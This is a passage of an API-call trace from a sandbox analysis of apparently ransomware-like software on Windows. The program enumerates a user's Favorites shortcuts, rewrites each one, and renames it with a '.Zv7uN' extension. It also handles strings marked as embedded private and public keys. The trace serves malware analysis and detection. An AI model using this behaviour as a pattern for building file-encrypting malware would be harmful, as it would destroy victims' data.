dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.320] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.321] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.321] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.323] CloseHandle (hObject=0x1ec) returned 1 [0125.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.325] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.328] CloseHandle (hObject=0x1ec) returned 1 [0125.328] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.zv7un")) returned 1 [0125.329] GetCurrentThreadId () returned 0xa30 [0125.329] GetCurrentThreadId () returned 0xa30 [0125.329] GetCurrentThreadId () returned 0xa30 [0125.329] GetCurrentThreadId () returned 0xa30 [0125.329] GetCurrentThreadId () returned 0xa30 [0125.329] GetCurrentThreadId () returned 0xa30 [0125.329] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0125.329] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.329] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.331] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url")) returned 0x20 [0125.331] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", dwFileAttributes=0x80) returned 1 [0125.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.335] GetCurrentThreadId () returned 0xa30 [0125.335] GetCurrentThreadId () returned 0xa30 [0125.335] GetCurrentThreadId () returned 0xa30 [0125.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.337] GetCurrentThreadId () returned 0xa30 [0125.337] GetCurrentThreadId () returned 0xa30 [0125.337] GetCurrentThreadId () returned 0xa30 [0125.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.337] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.337] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.337] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.337] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.338] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.340] CloseHandle (hObject=0x1ec) returned 1 [0125.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.342] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.344] CloseHandle (hObject=0x1ec) returned 1 [0125.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.zv7un")) returned 1 [0125.345] GetCurrentThreadId () returned 0xa30 [0125.345] GetCurrentThreadId () returned 0xa30 [0125.345] GetCurrentThreadId () returned 0xa30 [0125.346] GetCurrentThreadId () returned 0xa30 [0125.346] GetCurrentThreadId () returned 0xa30 [0125.346] GetCurrentThreadId () returned 0xa30 [0125.346] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0125.346] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.346] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.346] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url")) returned 0x20 [0125.346] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", dwFileAttributes=0x80) returned 1 [0125.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 